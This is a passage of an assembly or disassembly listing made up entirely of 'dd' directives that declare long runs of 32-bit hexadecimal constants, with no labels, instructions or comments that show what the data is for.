		dd 90DD47A7h, 9FC3BE98h, 68D8BAD4h, 956E7024h, 0F5659E57h
		dd 122EAE3Ah, 0E9756812h, 0B25A7437h, 0EE7757h,	3F3544E3h
		dd 8F62665Fh, 5A4BD422h, 29D4F7Bh, 0BEF805Dh, 0F608A540h
		dd 50AD767h, 7DB1F7B2h,	0F37F7922h, 10D7BA00h, 28BDE270h
		dd 2FC23160h, 0ACA2D529h, 0BB00FA16h, 2674FE91h, 8E0F0195h
		dd 0FE17024Ah, 277BDFCEh
		dd 98FD59CFh, 4CE968B8h, 0A8D2B93Ah, 0E98E90F4h, 189CA06Ah
		dd 1FA81C4Eh, 0A5A85DDEh, 3A81F419h, 8807EFB9h,	0B2738A47h
		dd 0E7DA0F55h, 0E8F775Ah, 9C7C5D27h, 0EB0CD756h, 43157761h
		dd 44C26E54h, 0A0C57FACh, 0E46E4625h, 4FCBB4AFh, 11EA2106h
		dd 1E25F87Fh, 6A7BA64h,	975906F3h, 276D2F86h, 0E244549Fh
		dd 5602ABF2h, 7E297FBEh, 0D7951258h, 0E95C3898h, 0DB63672Ah
		dd 0F75D3EC3h, 0EB44D9DDh, 1058F33Eh, 8731CF3Ah, 815C36B1h
		dd 0ABAEC6A3h, 3578B812h, 0CCD73112h, 0D5965AD7h, 0B3FE2964h
		dd 10E948E9h, 66120237h, 43D2BB59h, 2179772Ch, 0C480039Bh
		dd 0C5D5BCAAh, 1EB66C18h, 0D1A9010h, 10D12158h,	2E22B519h
		dd 0CE20F2D4h, 43ABA2B7h, 32DD0B6Dh, 0AA6FC189h, 0B855093Fh
		dd 114CF580h, 0D7484BFh, 0EA272FB0h, 0FC7FE63Fh, 3541271h
		dd 514BFC37h, 3FE065AFh, 0BFE4BCFCh, 2E653200h,	9A38E964h
		dd 8B2D07DFh, 0A579D571h, 43208DFh, 33668482h, 927C4460h
		dd 61B22489h, 88D2640Eh, 0AA38E50Dh, 37FDCEFFh,	0E9A9B0F4h
		dd 5A3EC120h, 0A16BF95Fh, 412A4DF0h, 5E1D3EEBh,	8EF03F7Eh
		dd 72E03069h, 182C52Eh,	532D6EB8h, 4B347120h, 0A2079ECh
		dd 0F33AC0CAh, 4F3E7123h, 0E692FF8h, 82D25522h,	17F4DA71h
		dd 4158DA1h, 52EA1EF0h,	4404E23Bh, 0BB3D414Dh, 0B9203C8h
		dd 29611B25h, 80B96E2h,	2BDA2700h, 64C97113h, 659E008h
		dd 1A7B3B52h, 6915E503h, 0CDE0496Fh, 0BC5C6DC1h, 13ED3F81h
		dd 0D8047D20h, 2DEF5DEEh, 79E4F0BDh, 151D801h, 1B5868C6h
		dd 18C3342Fh, 2D302A0Fh, 144D20Fh, 808F3FCEh, 0DE3D0B68h
		dd 0C1810163h, 41A495AFh, 0C759CEABh, 2063D800h, 6C683B15h
		dd 34799513h, 0F01CA97h, 1192E923h, 3A2DF63Bh, 8EBE4A34h
		dd 3C885FA3h, 0AC6A4F89h, 0CA7FA102h, 7AA4E62Bh, 0AA6DD7Ch
		dd 1CF9545Bh, 0A40E2585h, 0B85EEDCAh, 0DB39BA40h, 6B293759h
		dd 776044DAh, 96B5095Bh, 0E6D780F9h, 5EF90E07h,	6325E921h
		dd 0D6CABC16h, 96945FEAh, 4C1C5D40h, 5170A964h,	0CC68531Ch
		dd 5B047D04h, 701BC0ABh, 3E266B41h, 0A5880689h,	0FA010E08h
		dd 7BAF2EE9h, 0EB48EBEAh, 0BBE99F24h, 0A220284Bh, 1F94F54h
		dd 97269268h, 454A4C87h, 9701EF53h, 4935B112h, 8126006Eh
		dd 0A83ECBF1h, 90FF2B4Ah, 0AA8CB484h, 5650AB04h, 3FB8CE89h
		dd 0E2D5DE6Bh, 0A9735F88h, 0D213EC90h, 0EC15DD6Bh, 36C2BFD9h
		dd 835F5A59h, 355E7116h, 48AEDCFh, 0FE7FFEDDh, 0AEE99CD1h
		dd 0FD7B0C68h, 0F92CF3DDh, 0BCDF592Fh, 0F3892713h, 5E133CE8h
		dd 0C2AD531h, 14C05AE1h, 0CD31F901h, 46E90801h,	79297175h
		dd 0EFFE0C3Eh, 5041D4D6h, 42B7B6B2h, 0DC6CD592h, 2D466818h
		dd 83E5BCF3h, 0C27383D1h, 0E92C51F7h, 572EFA64h, 1F051B55h
		dd 908256CEh, 4392C2D5h, 8117CE0Ch, 8064EEC8h, 0FE01045Dh
		dd 0AB1585E9h, 4E9D338Ch, 0EB38FBCEh, 0CC165B15h, 512B4F3h
		dd 8A003E7Ch, 1C56222h,	69562CE9h, 176A6A76h, 3E22AAA8h
		dd 0AC7A4004h, 0CF5EB62Ch, 0B4B66796h, 0EA68052Ch, 1C02A3FEh
		dd 5F2517ECh, 3CF7BEECh, 0C9F34BB2h, 0AFA68134h, 10145D2h
		dd 0BABAACE9h, 3D4E762Ah, 2CDEBE96h, 984BA7ABh,	2B2D0BA6h
		dd 0DB7CE216h, 583AC44h, 4F3A2AFEh, 0EF31B771h,	178ACB2Bh
		dd 0CAEAD61Eh, 6850011Ah, 9167596h, 0CC2FB07Fh,	0F55CD2A9h
		dd 88B0EE0Fh, 0F58247C6h, 35685987h, 0EC8BBA0Ah, 8FC6991Ah
		dd 5B8F82DFh, 805D041Dh, 0E63B0B6Eh, 19696B4Dh,	0D15565F8h
		dd 2E48C71h, 0F226A851h, 0F3BBC0A9h, 0AAF96B5Bh, 4CAF2D05h
		dd 93A84A98h, 4F210741h, 2F387CC6h, 680C82DFh, 0D9D9F530h
		dd 5A5FC989h, 39F8024Dh, 0D3016752h, 465C9389h,	52D55425h
		dd 0B9C09F5Ch, 5EC7F16Eh, 10DCE9B4h, 82FB72Dh, 1C0E167Fh
		dd 0E445F580h, 0DDF6051Dh, 0ABD785C0h, 0EC6B50A3h, 19423C87h
		dd 0F700655Eh, 0DBBE56D2h, 7B57043Ah, 0FA0D6DE9h, 73A4F89Dh
		dd 4F22106Ah, 778484B8h, 0E55C0BA6h, 0B3963FCBh, 321B2042h
		dd 0A76B24Ch, 31C18161h, 0A3600974h, 0E907A0F1h, 23065A58h
		dd 3BC957A8h, 5C495228h, 0CBD4D55h, 5871693Eh, 0F7505D18h
		dd 0BFBDD6F9h, 146688D3h, 55E882C7h, 0BB6012DEh, 18B02E11h
		dd 0B15B971h, 1F96D929h, 26F7C4Bh, 46D813E8h, 835F095Dh
		dd 262AD2C9h, 884E5E8Ch, 0E52A44A0h, 0F5684005h, 0F8C25F74h
		dd 9D33F510h, 4ABF5200h, 6FE96782h, 25E299B2h, 0F3BDAC5Ch
		dd 8016EE61h, 0BBCF9ECEh, 0F1F4DF5Ch, 68F03102h, 565579CAh
		dd 0F821E285h, 8463C75Fh, 0B31D6B68h, 0C38510ADh, 6E7C107h
		dd 95C09451h, 0B6DCACAAh, 6C72020h, 3FE2D13Fh, 555B96F2h
		dd 1191D405h, 2F3297B3h, 4FE1B537h, 1AF06EE8h, 7DE72768h
		dd 7EF08446h, 3CAB3AE1h, 1D17B3E8h, 7A71DA88h, 0B808027Eh
		dd 5189D644h, 0F82895E3h, 8468E65Bh, 0F41532D8h, 0C1E67978h
		dd 0A4703542h, 7B9730ACh, 4103B65Dh, 8FA26BFBh,	4DA943CBh
		dd 2C02C55Dh, 0ACA12E5Ch, 4AA6975Ch, 158331C0h,	6868E0DDh
		dd 934B80F7h, 53205B2Dh, 0C589B70Bh, 8B8D458h, 3C420Dh
		dd 0FC960548h, 981D82Dh, 0B160BAC7h, 7700077h, 0F812D939h
		dd 161C04E2h, 0EC4279E5h, 0DC48091Bh, 8B945E7Dh, 0FBE91741h
		dd 49BCD863h, 723C099Dh, 0DDC204B3h, 817ACC65h,	41ACFD3h
		dd 0DE37C2EBh, 7297BA5Ah, 0B722CB18h, 9720A6D2h, 0E35CA11Dh
		dd 1E71F6CCh, 4E68B450h, 0E603AAECh, 0D6FFD058h, 9F4B20D6h
		dd 158A3AB4h, 8D0E2E68h, 5EE56510h, 2DD16FE5h, 0DFF76600h
		dd 109F74F0h, 0B540AFEh, 0EB01A369h, 5825EAD9h,	5EDCBFE6h
		dd 580E6B03h, 7EB1D222h, 19182F02h, 3DB1F7F9h, 0E0DEA53Bh
		dd 90C12979h, 8069B507h, 0E4AC3F58h, 95E25DC9h,	0C9DED97Dh
		dd 60B7E58Dh, 0C54BB918h, 0A59EE7A2h, 0F9AFB2DCh, 0A44DAD47h
		dd 0BAF15A13h, 121BAC3Eh, 0CBAFA3A2h, 1BE98248h, 381C77B0h
		dd 0E8DAF52Dh, 81644219h, 0E0132066h, 4055067Ah, 2C92289Ah
		dd 9A09FA53h, 6F6477DDh, 0A390C34Ah, 2E69A6C1h,	2CB72A85h
		dd 900820BEh, 5D5B27B3h, 0E961A0F1h, 0BC6AECAFh, 5B88B4F7h
		dd 74585AE5h, 0BBE53523h, 2336E79h, 0A3684C60h,	7F5D416Ch
		dd 262D80EDh, 4A2EDE08h, 0C9D1BE50h, 96CEE1E9h,	14925FDFh
		dd 0A917F244h, 40E7A332h, 7F01B1DEh, 0C001C180h, 9B4205E9h
		dd 0F60A4886h, 0CDFE34D5h, 0D7F4C008h, 97982B04h, 2EFDE97Bh
		dd 48370B88h, 63842321h, 98B304C2h, 0D730D2A1h,	7B6C95AEh
		dd 971B0120h, 0E8251AD2h, 3A639842h, 5DC97B9h, 2BBF0B49h
		dd 5AC4D7DFh, 2EA27420h, 0CE6BD730h, 17E273Fh, 0F40B8926h
		dd 25205B5Eh, 0F72DF97Ch, 507226B2h, 4C4A2598h,	0B468B805h
		dd 806435BAh, 0C14235Ah, 77295D25h, 0BAE92990h,	53EAFA4Ah
		dd 5C47080Ah, 1F2AC16h,	31424689h, 49C75B7Fh, 863E9EA1h
		dd 30E370FBh, 41230497h, 7920FA80h, 31A9140Eh, 0AF10EFCDh
		dd 7FBA0238h, 565A826Fh, 7DEA07E8h, 0BFA52490h,	2663A091h
		dd 3FC8B803h, 7FB87C66h, 0E65FE997h, 9FB36164h,	6077DA4Ah
		dd 143BCFBFh, 0F31C2C6Dh, 50D28010h, 0FB256B66h, 3AB504Ch
		dd 28525461h, 0AAF7F301h, 0E25E1408h, 4CC12E20h, 75CB7B98h
		dd 5071E7D8h, 4DE9DF4Fh, 13BCF08h, 0C27CD57h, 772E18FFh
		dd 99BF80A1h, 2DA4500Ah, 0FC2D05B9h, 61E78C4Eh,	0D0FAEE9h
		dd 644038C0h, 1CF2085Bh
		dd 0DAB95180h, 70514E32h, 0F412D0AFh, 0E494530h, 0B5053476h
		dd 0E74ECB70h, 52E749BAh, 0AE20808h, 1C9E748Eh,	0EED606h
		dd 4590C653h, 0E92C3A51h, 0D18BB7ADh, 22E150E1h, 0AFE9D0F2h
		dd 9100D504h, 366746A2h, 0FC5FC690h, 766F6649h,	0B60521Ch
		dd 0CAA12E6h, 0BFB2F1FFh, 615E5697h, 2B4BEC7Ah,	0EF8F11A2h
		dd 0E2D784ABh, 6E965F82h, 0C9062109h, 1C23FC2Ch, 201D683h
		dd 4337CDF0h, 25FB140h,	7CC35C9h, 9983646h, 0D17DD1F7h
		dd 98873E28h, 530BA1C5h, 7403C9A8h, 7E8C15Dh, 0D89BFF93h
		dd 48F9BFBFh, 8929E720h, 47135BCFh, 0A12A0AF9h,	3ED597F2h
		dd 0A1B7355Eh, 9DA4BBE5h, 0BF009D4Bh, 384C9F2Dh, 0F1B13C5Bh
		dd 0F2C00707h, 954D7348h, 0ABE8CFFCh, 0F5A03242h, 0F5AF52C7h
		dd 0D6100E38h, 208F6697h, 5F601E51h, 0D29C540h,	4A1AF839h
		dd 0FDE0D0F9h, 81F65B06h, 2410EF05h, 0FAE867BBh, 4525D85h
		dd 0ABA16CC2h, 0B689B8E3h, 90320E7Ah, 7CAF157Eh, 3C27BB16h
		dd 0A5405DF6h, 5E65A12Eh, 0B553FF01h, 5F7626BBh, 27620098h
		dd 51406753h, 0C9348BDBh, 0FD059C77h, 6EA8A12Fh, 2C4E3FA7h
		dd 0BE5EE9CBh, 48D001A4h, 70070940h, 0E2661434h, 0A3A1E385h
		dd 792D5BD8h, 0E8830186h, 6A816801h, 0A577479Ch, 144B5CD2h
		dd 90054400h, 64688527h, 0F8781852h, 0DF150DCh,	0D1422C16h
		dd 0C1447204h, 0CA251F14h, 0F3C22D20h, 1F4A7E3Dh, 840F9B9h
		dd 0C560F358h, 0B8F2A8ABh, 0D04D18B5h, 49EFBE0Bh, 0E921A406h
		dd 95885AD9h, 0EED14CE0h, 0AAA303B8h, 7B2448C0h, 2D49265Ch
		dd 811EFCFAh, 862211F3h, 0A9FC3A84h, 8408B472h,	0C72388F2h
		dd 9189B961h, 76C0E8E4h, 38BB1345h, 40C90481h, 0C466A70Fh
		dd 0D81F8241h, 0E8096DC4h, 0D4C3315Dh, 0D2706BDAh, 220095F8h
		dd 0C05C7A0Dh, 54A7E94Dh, 0F66997E1h, 29310270h, 0C46858C3h
		dd 0E9611EFCh, 2A81ED2Bh, 5B3E1CB9h, 82EE81Ah, 0CAE11895h
		dd 0B86AE150h, 33E684DAh, 0A91771AAh, 93A868DCh, 3748CEF6h
		dd 447AE045h, 13D9809Dh, 44CC400Eh, 12BEEA7Ah, 3C8AEFA4h
		dd 0BDFAE909h, 0E10334C9h, 277F2C40h, 535C22B8h, 6EC8D589h
		dd 595F4FE9h, 61C149CDh, 3BD3893Bh, 0EFC0D6ECh,	5DA376EBh
		dd 6F140CC1h, 0AE211B06h, 800A121h, 954B0DE9h, 3798694Eh
		dd 29EBD54Eh, 0A363E3BDh, 0D1F028C4h, 0B9443CB6h, 0AA35A0D0h
		dd 368C2F3Bh, 75FA55F0h, 0B1CD484Ah, 1261A92Fh,	0A7FB9DD2h
		dd 0DF211757h, 8BDB34BAh, 8C680B6Eh, 5414182Ah,	4DB0F45Fh
		dd 9E890718h, 0F7500D40h, 4055DEA2h, 12693577h,	1369110h
		dd 0F873DD74h, 38D8417Ah, 0E92DFC3Dh, 0B7C2704Fh, 57D5C264h
		dd 900035CAh, 4C60105Bh, 0B54E913h, 69AD4344h, 0B753D858h
		dd 0FD098C90h, 66E8305Bh, 22683457h, 4DE3EB36h,	0E114BC96h
		dd 2535C4E9h, 0A21EA82Fh, 405A4A85h, 955DEE01h,	0D01D5CB0h
		dd 19F53BC0h, 26036D6Eh, 13F3EB89h, 4C32BF53h, 7605693h
		dd 9086B68h, 0E2EC7957h, 5AD7C209h, 0F529264Dh,	2D4F1364h
		dd 61BB2AAFh, 7ED388CFh, 29C0093h, 57C4E199h, 1460348Fh
		dd 0F0091860h, 41C7E97Fh, 4460AD69h, 130B24D3h,	4FE31391h
		dd 0AA52F6C0h, 3AA9182h, 0FEB9CB89h, 0FA82ABDh,	0A69584h
		dd 0D627ACB9h, 6368C773h, 0BB57756Dh, 499A82C1h, 0F02F4AD5h
		dd 29FA254Ah, 487C8A05h, 5884D8F7h, 997E7CF1h, 168E60BAh
		dd 4FC264B5h, 48AA905Ch, 7834C84Ch, 0D4803883h,	48136E07h
		dd 0A627FA38h, 6A0F8F8Bh, 4F3F129Eh, 15DE469Dh,	0D513C3CFh
		dd 9696121h, 88109360h,	9727CC12h, 9A2B8CC2h, 69BA77D7h
		dd 0F4BE5E48h, 9F8FA92Eh, 0E25EF209h, 0CF406078h, 97A7BCB4h
		dd 0BE7884CAh, 18E3EDB4h, 0C0AB516h, 84098F06h,	4111E99Bh
		dd 0B2485C09h, 7BC44191h, 0B00419B1h, 332A97C1h, 14251CF9h
		dd 0C4B7C47Bh, 0C14EECDEh, 743DC4BAh, 879F062Ah, 0F4C22DAEh
		dd 0F083F68h, 0E5C0D6A9h, 88325EB0h, 7C5F58C6h,	16779617h
		dd 4E8BFD5Bh, 2F6424B0h, 557160DFh, 820C1136h, 71C45717h
		dd 9CEF5C2Fh, 25F5849Ah, 627A9B7Dh, 7C0C972Dh, 4B5B6446h
		dd 6FBBF587h, 2EE1A5F6h, 588568A8h, 41FB92Eh, 38A25545h
		dd 241BCAFEh, 8EEB2D31h, 6A200B88h, 0AAC28567h,	29A82CFAh
		dd 0A2FEF7Fh, 0AF37DBE5h, 0DDE2225Fh, 45DA71ADh, 4768921Dh
		dd 3860EAC1h, 2680BECh,	0CB3C3117h, 0C6DC403Eh,	31DFEDB6h
		dd 7F95F1FCh, 15904A2h,	200F5B72h, 317EEA34h, 555E16h
		dd 0AE2541F2h, 492FE943h, 0CD04A03Eh, 5E5F8517h, 0CC3D8281h
		dd 13F25861h, 0FD42DA5Dh, 0CE9D3BCCh, 9AA62704h, 0D961157h
		dd 595E6AE8h, 0C40E014Eh, 484EFB29h, 0EEE13437h, 78071BEDh
		dd 0E01F51DEh, 765936BDh, 0DF004095h, 0BBF7825Ch, 0C26BEFF1h
		dd 69EDF758h, 99C250A5h, 0C7752762h, 0B56D96BCh, 29D06F38h
		dd 2D8368C0h, 9AF2893Dh, 314F1209h, 0A9B2C30Dh,	3A927624h
		dd 0AE005651h, 6F31CC8Dh, 0CA6967Ah, 57226009h,	0A048D445h
		dd 0C93CA108h, 0EEC51978h, 5C9FFB1h, 421BF42Eh,	8B25DCB2h
		dd 0FAED5C34h, 0B252D210h, 0C380F70Bh, 0F6C4F7C9h, 1807E1ECh
		dd 0C801CBC4h, 5619D0D2h, 0F168418Eh, 0C5CC7A30h, 0E2415E6Eh
		dd 4D6078EAh, 3791B811h, 404C005Eh, 0E3040A2Dh,	68BD09F9h
		dd 3B6BFC0Fh, 0B7C552Fh, 22BA5DFBh, 0E90BB0FCh,	50DDD8BEh
		dd 1FC3D851h, 9600F78h,	84D9A599h, 5F277E19h, 0D39FE92Fh
		dd 579E63EDh, 0B52FBF1h, 7CFF5001h, 0DBF12836h,	543E2321h
		dd 692C669Dh, 0E201A42Eh, 8640D5F7h, 0A42C38B8h, 0BD065336h
		dd 20CC06Bh, 8008A2C1h,	0C178014Bh, 4974159h, 6F68D1F7h
		dd 1FC20497h, 87C4D752h, 0DBD5012Dh, 65BB015Dh,	3E076174h
		dd 8180B7E8h, 174652F3h, 3AE90612h, 8610BD53h, 0FC790BADh
		dd 85CFA973h, 1AE10E22h, 0AE2A7D25h, 0DFC08D64h, 58183D58h
		dd 375A6315h, 0AD5D8351h, 68363D61h, 90737D6Eh,	63102578h
		dd 132CA0CDh, 31FC0717h, 5EED2CC5h, 1E100946h, 63B71F18h
		dd 533D6816h, 0B151AD30h, 44B6027Dh, 0C2E9CE30h, 605D89C9h
		dd 130B4E4Fh, 90EBFh, 53F78199h, 14322D1Fh, 0DB215CFEh
		dd 97CD7F25h, 971B50A7h, 0E9C1C8F4h, 322E2B34h,	575A0DEh
		dd 72BB89BDh, 0B4F95FC3h, 0FB4B6065h, 819715Ch,	682D9828h
		dd 82BA677Fh, 0BB0076A9h, 2EA4315Ch, 47CE8F2h, 0E007E06Fh
		dd 70146A35h, 5F6A03Eh,	0FD4A12E3h, 80B3C497h, 7C37F91Dh
		dd 137F38FBh, 0E2BED001h, 8DAD925Bh, 0AC12E9C4h, 762D00A3h
		dd 31AA42FFh, 0DFA1F8C5h, 0D90212C3h, 54903F8Fh, 30E9BDB3h
		dd 6411F68h, 2679126h, 328005B2h, 0C0DA0369h, 0A0297EDAh
		dd 2000250Bh, 0D4C0E19h, 3BF814ECh, 0E2044049h,	0BA5D4354h
		dd 28E5A20h, 8101F065h,	0D2350129h, 70B6BA05h, 3F1C5C82h
		dd 28BFC5Fh, 2F6713C3h,	30F8D663h, 56BD66A6h, 397ECE55h
		dd 167E57ADh, 4C257D72h, 8A04EA62h, 24E5991Fh, 48A643E8h
		dd 1014821h, 0E99F7E6Dh, 0BFA13402h, 4BA3A4EBh,	0BC787F02h
		dd 0CF84472h, 2550E9FAh, 437CBB20h, 0BD65CE0Dh,	7EE20B45h
		dd 0ECA10C3h, 0C28061B2h, 0E1EAD058h, 227A9AC8h, 74575CADh
		dd 47D5729Fh, 0E1E986C4h, 0F105C996h, 7D736EF3h, 0E98FECBCh
		dd 185D3FCBh, 2D20F67Eh, 0A6F539AEh, 0B759C6F3h, 0B9696B50h
		dd 3D7B5F51h, 48D09E9h,	77AF4608h, 0FA6FB547h, 0E2AFFB85h
		dd 63888DEFh, 46DDE682h
		dd 20C047D4h, 401650ABh, 0F70C4B4Dh, 5A5A4A56h,	1745EC31h
		dd 22CC3AD1h, 9A5D9409h, 7FD5160h, 33E2F5B0h, 0E9BEFEDEh
		dd 9236737Fh, 0AE4A84B6h, 0E6937FB3h, 0ED0C178Eh, 0B79C28ABh
		dd 0B2FF4B60h, 14D58882h, 0BFEE305Ah, 0FC35E89h, 3A0746A3h
		dd 784908FBh, 0D507D9D2h, 60D317B1h, 9A9DF9FCh,	5FD71005h
		dd 9E50585Bh, 91C4F84Fh, 1BD0138Ch, 0F8568728h,	4C13597Ah
		dd 4D68D005h, 1FBB35Dh,	577A3D8Eh, 0A744E7C1h, 68BC72C4h
		dd 386C6883h, 3085E310h, 2E94463Dh, 7381237Ch, 6B1ECE33h
		dd 0B7E6DF4h, 4F5FC527h, 0F8F00C0Bh, 954A90EAh,	2E312DEAh
		dd 0A5DDDA0Eh, 5188703Eh, 0CC314F58h, 554EA679h, 0A6967D29h
		dd 3E1AB150h, 0BAA405BCh, 0AF9FDCFDh, 5045BBDBh, 81FF9656h
		dd 0FD30403Ah, 5D0C827Eh, 5F411149h, 58BC8840h,	0B90FB15Ah
		dd 4AC2DE1Bh, 57A17DE9h, 0BF9AE0F3h, 0D47480F9h, 0B0726635h
		dd 90495BE6h, 0B783954Ah, 0D409682Ch, 0BBCF163Fh, 0C812D6B3h
		dd 92835F11h, 0F7E4202Dh, 75305D0Dh, 550B5A24h,	842B5E77h
		dd 87E1AAF8h, 642A44DDh, 2F6ECA41h, 79C5754h, 0E611D1B5h
		dd 43EE1A5Ch, 0C461E625h, 8BDEA0B7h, 66853D7Fh,	4CB1A7ACh
		dd 4709BED4h, 0FF299B09h, 66C1D409h, 0CCDCEAE1h, 26F933EBh
		dd 109B5E26h, 1DA44FA4h, 0B2472609h, 0B76F0822h, 0AFF15625h
		dd 949542F2h, 3C29585Ah, 310DDE40h, 1A584060h, 3BB44DFBh
		dd 0F2DFF292h, 4656BF3Ch, 7DEEB053h, 18BF163Dh,	2C2AB905h
		dd 0A23A2601h, 4EF705D0h, 0B97553CFh, 0DDE0DA90h, 0FBF447CBh
		dd 51EEAA16h, 0ECD35B54h, 3EAE00B9h, 2FE920BCh,	24BBB750h
		dd 0F429F3B1h, 0EAF89571h, 227FC75h, 0A0E6D414h, 0E95B0D08h
		dd 0F035358Eh, 633D5D69h, 0BE089243h, 23C06EDh,	0BFF10B25h
		dd 0DD25BAACh, 33A8B747h, 2131BE63h, 5E352FF1h,	5356E760h
		dd 0DEFBE916h, 6ACDD9EEh, 518255D4h, 0F8D97FD8h, 6C0BD72Eh
		dd 6958561Ah, 26895756h, 899AF927h, 1C1020B7h, 0C02CA8ABh
		dd 0C6AFCABCh, 935220B4h, 35053FB2h, 417F4C79h,	0B5F88784h
		dd 9496E9CFh, 0BD8C171Ah, 0F3AD164Ch, 58597D92h, 746E13F3h
		dd 0EB164A08h, 0C5C71608h, 9337CCDBh, 0A94B4C4Eh, 39D250B4h
		dd 822DB004h, 5E42F3D0h, 0B285A84Ah, 17715ECDh,	72BE035Dh
		dd 0AFB40FD4h, 0E52D2407h, 0A8482293h, 4A83089Fh, 4193E806h
		dd 1189D607h, 39EAE871h, 5AA468E1h, 989B33Eh, 0DF7937F7h
		dd 0DF7E14E8h, 4692CD83h, 0FAE65502h, 0E9C60104h, 0AE8DC7E3h
		dd 0DB2DF47Ah, 1BAA040h, 5126624Dh, 2596E955h, 804C9F40h
		dd 0F42A254Bh, 0C43B0541h, 0F5FEC07Bh, 153B4CB7h, 6981DE3Eh
		dd 5A00C26Eh, 0CC398850h, 0A7E1BA51h, 0C2F9D9CAh, 0E57D436Ah
		dd 7489AFEEh, 8264A274h, 0D8060CD4h, 9FEDBB6Eh,	0B1A0B578h
		dd 0A0624EC7h, 7D1F6BAh, 0F5F0625Ch, 3C8B6C56h,	327EF87Fh
		dd 10671F60h, 0EB83C8FFh, 54B1E43h, 473DCB3Ah, 0FD338046h
		dd 0D0C72791h, 9F17D7A7h, 0ED8FF202h, 68D69175h, 0C36605E1h
		dd 324D1B09h, 2B2DC802h, 0EE44DFAh, 0F2BD2A7Eh,	9DF13138h
		dd 21E6F561h, 0EDD481D3h, 5984BB9h, 0C5CCA07Ah,	26106E02h
		dd 5DEA317Ch, 3FD885B1h, 0D1E33640h, 4821B874h,	22068A4Bh
		dd 0C1F562Dh, 0D7D6B609h, 2382D552h, 0FCA0C419h, 0F3045F8h
		dd 5A5A48B8h, 35480500h, 5E3D68CCh, 255AEC92h, 0E9CA6805h
		dd 0F4F15420h, 0AAEF4829h, 7901A8Fh, 91182FBFh,	7F4EEACh
		dd 0E9213EA5h, 4EDFD906h, 0B4DC9FA7h, 0ADF8D4C9h, 712795FEh
		dd 392A62E3h, 0AAAC04h,	0BF2C205Fh, 8CFCD028h, 5F514CB2h
		dd 4F6F3DFAh, 10ECABC4h, 6C8B3527h, 0F403E0D5h,	78792770h
		dd 52F3CAD7h, 13E4EAE9h, 0EFBD6669h, 0EF321A04h, 9786E2BFh
		dd 0B7CB4FC1h, 27EC452Bh, 0D3E9AD97h, 568932BBh, 51D5294Ah
		dd 0E57F6BBEh, 0B2C392F3h, 56340485h, 0ABC51D02h, 30087F10h
		dd 558B1E5Eh, 15C05CCh,	96853FAh, 0E0F55B08h, 0C0AADDCEh
		dd 87BEF4Dh, 0E7EC22ECh, 8E6AB609h, 4875003Ah, 5DDF1A28h
		dd 0D9105C89h, 88F492Fh, 26CB887Fh, 640B1636h, 44F4BB4Eh
		dd 35036CF7h, 0E4287F52h, 94F9556h, 4F218688h, 0AECC34D0h
		dd 0FD5B7DF9h, 7AFD031Eh, 0FC8B0FE7h, 0F1B9F9EFh, 0CD721B39h
		dd 0FC0D0816h, 50EE915Ch, 0DBFCCFE8h, 2128E3B6h, 2079CE4Ch
		dd 8D509DEDh, 10306C9h,	0AA27ADC9h, 0BF5AE9E4h,	0F34670A5h
		dd 60D26B3Ch, 0F06BBED1h, 814C01E8h, 17DB97C6h,	0E9D340B3h
		dd 24CFAC70h, 13104E68h, 19D2D8EBh, 1E730A59h, 0F1207E1h
		dd 60543182h, 396856EAh, 3EA43439h, 4DBC0D31h, 73E730E7h
		dd 0A29B1462h, 8C56F102h, 7777D149h, 523F6E43h,	0AF977512h
		dd 0C5408D99h, 15CD5FCFh, 0A0A2E947h, 1643A754h, 13BD25Dh
		dd 5027C80Ah, 9914014h,	0BF907D85h, 0ED519644h,	0CA2A27E9h
		dd 0C9FE4E51h, 299D3F8Dh, 0C22125FEh, 0B78989DDh, 28F14FFFh
		dd 399B2033h, 41AE544Bh, 48686647h, 0D290D257h,	5D958F1Ah
		dd 84FE421Ch, 107EC49h,	86769B68h, 0C42F5A8Fh, 0BBE603D8h
		dd 9EE7FA3Ah, 801D2DAh,	7F59CE29h, 0B7EEC684h, 8EE012D5h
		dd 0FB31D8FBh, 0C0B91A82h, 3C731120h, 81C01A03h, 7D65E101h
		dd 0F98753C3h, 0D33A3D21h, 5325B7D0h, 0FA4ADD50h, 1C47A282h
		dd 577834FEh, 6AE27E9h,	521F656Eh, 0D489EDB6h, 8D4657B9h
		dd 0F3422B2Dh, 44103DB3h, 87E91319h, 0F6805F46h, 9A642440h
		dd 96B95024h, 52BF1412h, 892061Ch, 113E8A3h, 0C226E830h
		dd 0AF1E6168h, 51A30739h, 7CD95D09h, 0A9FA6052h, 80059603h
		dd 0F032654Eh, 109FF189h, 2F6068F8h, 0FAF4806Fh, 291DD410h
		dd 0ED78CBE8h, 496874C8h, 0DFAE2997h, 57254065h, 0FAA5AA47h
		dd 0C15125C5h, 540798D7h, 15C1A058h, 33C797A6h,	0D7BC5C13h
		dd 9CAD6650h, 0C77D2758h, 92DCA89Ah, 0B4501271h, 0B60A0934h
		dd 0D8FE9A5Fh, 0C4719520h, 99348B70h, 7AE9C3AAh, 2DAAFEDh
		dd 656A5724h, 61C2EE29h, 95DCD027h, 52B72358h, 0FAD0581Fh
		dd 0FD5B99D2h, 8D126A93h, 721686F8h, 0E2DFD7ABh, 3ED94938h
		dd 204E7FA5h, 0E02572B9h, 0C13641CEh, 7890BEDFh, 9CC94176h
		dd 0C7B23B3Eh, 0EDFB1D05h, 4FA2CA08h, 18EB86B4h, 0D786E01h
		dd 89257CA0h, 95164330h, 6B680804h, 0B9448CAAh,	922A4E00h
		dd 84F18107h, 639A246Fh, 48B40453h, 8D9C102h, 38B7BD0h
		dd 0FDA9D7Dh, 89CF8BB4h, 0ADDEA730h, 0D4E7EC62h, 1716C2E5h
		dd 0BD470709h, 6E816034h, 0D27B3B9Fh, 2000891h,	1CE3A4B5h
		dd 0AED38953h, 2C710B82h, 0F4B9210h, 72A30580h,	430B4CB2h
		dd 0E317C29Ch, 13D7C5FDh, 33622FC5h, 0EB2F18E4h, 0EA17E3C9h
		dd 0B8C0A27Dh, 73417F7Ah, 2582ED40h, 40E07F7Ch,	0AC05EDB0h
		dd 31E613EEh, 634B0EFBh, 0FAAEEEE5h, 0CCE5CE0h,	0FDCBE97Ch
		dd 0C114D03Dh, 140306E8h, 2E807E0h, 7D117BF4h, 75D65753h
		dd 0DF68AC82h, 0DCAFA246h, 76BF0007h, 7A5CED3Ch, 169C047Bh
		dd 82FE3D9Bh, 79D5293Dh, 0CD0049DFh, 674B75D2h,	6EE52D00h
		dd 2B355793h, 3C800B22h, 2BA0E0D1h, 0D309159Bh,	9FAE94Ah
		dd 0A9F5BDE7h, 19DA5F60h, 53BC584Fh, 5052E9B1h,	8015B7DAh
